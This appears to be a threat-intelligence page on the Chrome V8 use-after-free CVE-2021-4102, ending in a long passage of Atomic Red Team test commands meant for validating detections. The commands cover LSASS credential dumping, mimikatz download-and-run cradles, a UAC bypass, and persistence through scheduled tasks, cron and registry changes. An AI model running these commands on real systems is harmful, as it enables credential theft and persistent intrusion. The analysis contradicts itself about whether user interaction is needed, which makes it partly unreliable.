CVE-2021-4102
HIGH
CISA KEV
Pub 11/02
Upd 21/10
Overview
This vulnerability is a use-after-free condition occurring within the V8 JavaScript engine component of Google Chrome. The root cause is improper memory management where an object is accessed after it has been freed, leading to potential heap corruption. The flaw specifically affects versions of Google Chrome prior to 96.0.4664.110, impacting the V8 JavaScript engine's handling of crafted HTML content.
Vulnerability Description
Use after free in V8 in Google Chrome prior to 96.0.4664.110 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Impact
An attacker can execute arbitrary code within the context of the affected browser by exploiting this vulnerability, potentially leading to full compromise of the user's browsing session. No user authentication is required, but user interaction is necessary to visit a maliciously crafted webpage. This can result in unauthorized access to sensitive information, session hijacking, or further exploitation of the host system. The vulnerability enables remote attackers to leverage heap corruption for code execution, impacting confidentiality, integrity, and availability of the affected system.
Solution
Google has addressed this vulnerability in the Chrome Stable Channel update version 96.0.4664.110. Users and administrators should update Google Chrome to this version or later to mitigate the risk. Detailed patch instructions and update guidance are available at https://chromereleases.googleblog.com/2021/12/stable-channel-update-for-desktop_13.html. No specific workarounds are recommended beyond applying the official update promptly.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a use-after-free flaw within the V8 JavaScript engine utilized by Google Chrome. This type of vulnerability occurs when a program continues to use a memory reference after it has been freed, leading to potential heap corruption. In this case, the flaw allows an attacker to manipulate memory allocation, which can result in arbitrary code execution. The issue is particularly critical because it can be triggered through the rendering of specially crafted HTML pages, which are commonplace on the internet. Attackers can exploit this vulnerability without requiring any user interaction, making it a potent vector for remote exploitation.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the delivery of malicious web content. An attacker could host a website designed to trigger the use-after-free condition when visited by a user running an affected version of Google Chrome. Alternatively, the attacker might employ social engineering tactics to persuade users to visit a compromised site or click on a link leading to the malicious content. Once the crafted HTML page is loaded, the attacker can manipulate the memory state of the browser, potentially leading to the execution of arbitrary code. This could allow the attacker to gain control over the user's system, steal sensitive information, or deploy further malware.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Google Chrome as a primary web browser. Given the high CVSS score of 8.8, the risk associated with this flaw is categorized as critical, indicating that successful exploitation could lead to severe consequences. Businesses could face data breaches, loss of intellectual property, and damage to their reputation. Additionally, the financial implications of such incidents can be substantial, including costs related to incident response, legal liabilities, and potential regulatory fines. The ability of attackers to exploit this vulnerability without user interaction further exacerbates the risk, as it increases the likelihood of widespread compromise.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating Google Chrome to the latest version is crucial, as updates often include patches for known vulnerabilities. Organizations should also consider employing web filtering solutions that can block access to known malicious sites or content. Additionally, implementing endpoint protection solutions that monitor for unusual behavior can help detect potential exploitation attempts. User education is another vital component; training users to recognize phishing attempts and suspicious links can reduce the likelihood of falling victim to such attacks.
In conclusion, the use-after-free vulnerability in the V8 engine of Google Chrome represents a significant threat to both individual users and organizations. The potential for remote exploitation through crafted HTML pages highlights the need for vigilant security practices. By prioritizing timely updates, employing robust detection mechanisms, and fostering a culture of cybersecurity awareness, organizations can mitigate the risks associated with this and similar vulnerabilities. As the threat landscape continues to evolve, proactive measures will be essential in safeguarding sensitive data and maintaining operational integrity.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-4102, rising by over 40% in recent assessments. This upward adjustment reflects a growing likelihood of exploitation attempts, despite the absence of new publicly disclosed exploits or ransomware activity linked to this vulnerability. Our telemetry indicates a steady upward trend in exploitation risk, placing this vulnerability within the upper percentile of EPSS rankings. For defenders, this escalation signals an elevated probability that threat actors may intensify efforts to leverage this use-after-free flaw in the V8 engine, potentially leading to heap corruption and remote code execution. Consequently, the threat level associated with CVE-2021-4102 should be considered heightened, warranting increased vigilance in monitoring and detection efforts even though direct exploitation evidence remains limited.
Update 2 — July 13, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2021-4102, indicating that adversaries are increasingly probing for opportunities to exploit this use-after-free vulnerability in the V8 engine. While no new exploit techniques or ransomware affiliations have been observed, the sharp increase in telemetry signals a growing interest that could precede more sophisticated attack attempts. This development underscores a heightened exploitation risk beyond previous assessments, suggesting that threat actors may be refining their capabilities or expanding targeting scope. Consequently, the threat level associated with this vulnerability should be elevated to reflect the increased likelihood of exploitation attempts, reinforcing the need for sustained monitoring and rapid response readiness.
Update 3 — July 31, 2026
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2021-4102, indicating a modest resurgence of interest among threat actors. Although no new exploit techniques or ransomware affiliations have been observed, this uptick in telemetry suggests that adversaries may be conducting preliminary reconnaissance or testing exploit reliability in the wild. The persistence of stable EPSS scores alongside this detection trend implies that while exploitation attempts remain opportunistic rather than widespread, the vulnerability continues to attract attention within attacker communities. This development elevates the threat posture from moderate to heightened vigilance, as the incremental increase in activity could foreshadow more frequent or sophisticated exploitation efforts. Defenders should interpret this as an early warning signal that exploitation attempts may become more pronounced, warranting continued monitoring and analysis to detect potential shifts in attacker behavior.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
G
|
Chrome | All |
cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Exploited in Wild
CONFIRMED
Ransomware
NOT ASSOCIATED
Attacker Interest
MEDIUM
Sightings
Few sightings
Threat Feed
10 events
2026-08-03
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-08-02
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-07-30
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-07-29
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-07-14
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-07-13
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-07-12
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-06-23
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-06-19
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2021-12-15
Added to CISA KEV Catalog
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Target OS:
Deployed role: Windows · Endpoint
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
Use After Free
100%
use_after_free
Buffer Overflow
64%
buffer_overflow
Remote Code Execution
43%
rce
MITRE ATT&CK Techniques (12)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1003.001
Create Mini Dump of LSASS.exe using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001
Dump LSASS with createdump.exe from .Net v5
Windows
PowerShell
Privileged
Use createdump executable from .NET to create an LSASS dump.
[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001
Dump LSASS.exe Memory through Silent Process Exit
Windows
CMD
Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism
introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001
Dump LSASS.exe Memory using NanoDump
Windows
CMD
Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
https://github.com/helpsystems/nanodump
Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001
Dump LSASS.exe Memory using Out-Minidump.ps1
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001
Dump LSASS.exe Memory using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001
Dump LSASS.exe Memory using Windows Task Manager
Windows
Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.
T1003.001
Dump LSASS.exe Memory using comsvcs.dll
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.
Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001
Dump LSASS.exe Memory using direct system calls and API unhooking
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001
Dump LSASS.exe using imported Microsoft DLLs
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump
file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001
Dump LSASS.exe using lolbin rdrleakdiag.exe
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks.
This can be achieved with lolbin rdrleakdiag.exe.
Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001
LSASS read with pypykatz
Windows
CMD
Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::
Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001
Offline Credential Theft With Mimikatz
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001
Powershell Mimikatz
Windows
PowerShell
Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002
Copy and Execute File with PsExec
Windows
CMD
Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002
Execute command writing output to local Admin Share
Windows
CMD
Privileged
Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002
Map Admin Share PowerShell
Windows
PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002
Map admin share
Windows
CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003
Cron - Add script to /etc/cron.d folder
Linux
Shell
Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003
Cron - Add script to /var/spool/cron/crontabs/ folder
Linux
Bash
Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003
Cron - Add script to all cron subfolders
Linux, macOS
Bash
Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003
Cron - Replace crontab with referenced file
Linux, macOS
Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1053.005
Import XML Schedule Task with Hidden Attribute
Windows
PowerShell
Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute.
This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005
PowerShell Modify A Scheduled Task
Windows
PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered.
It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005
Powershell Cmdlet Scheduled Task
Windows
PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets.
Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005
Scheduled Task ("Ghost Task") via Registry Key Manipulation
Windows
CMD
Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005
Scheduled Task Executing Base64 Encoded Commands From Registry
Windows
CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005
Scheduled Task Persistence via CompMgmt.msc
Windows
CMD
Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`).
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005
Scheduled Task Persistence via Eventviewer.msc
Windows
CMD
Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task.
When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005
Scheduled Task Startup Script
Windows
CMD
Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005
Scheduled task Local
Windows
CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005
Scheduled task Remote
Windows
CMD
Privileged
Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005
Task Scheduler via VBA
Windows
PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005
WMI Invoke-CimMethod Scheduled Task
Windows
PowerShell
Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
Abuse Nslookup with DNS Records
Windows
PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001
Invoke-AppPathBypass
Windows
CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened.
Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001
Mimikatz
Windows
CMD
Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001
Mimikatz - Cradlecraft PsSendKeys
Windows
PowerShell
Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001
NTFS Alternate Data Stream Access
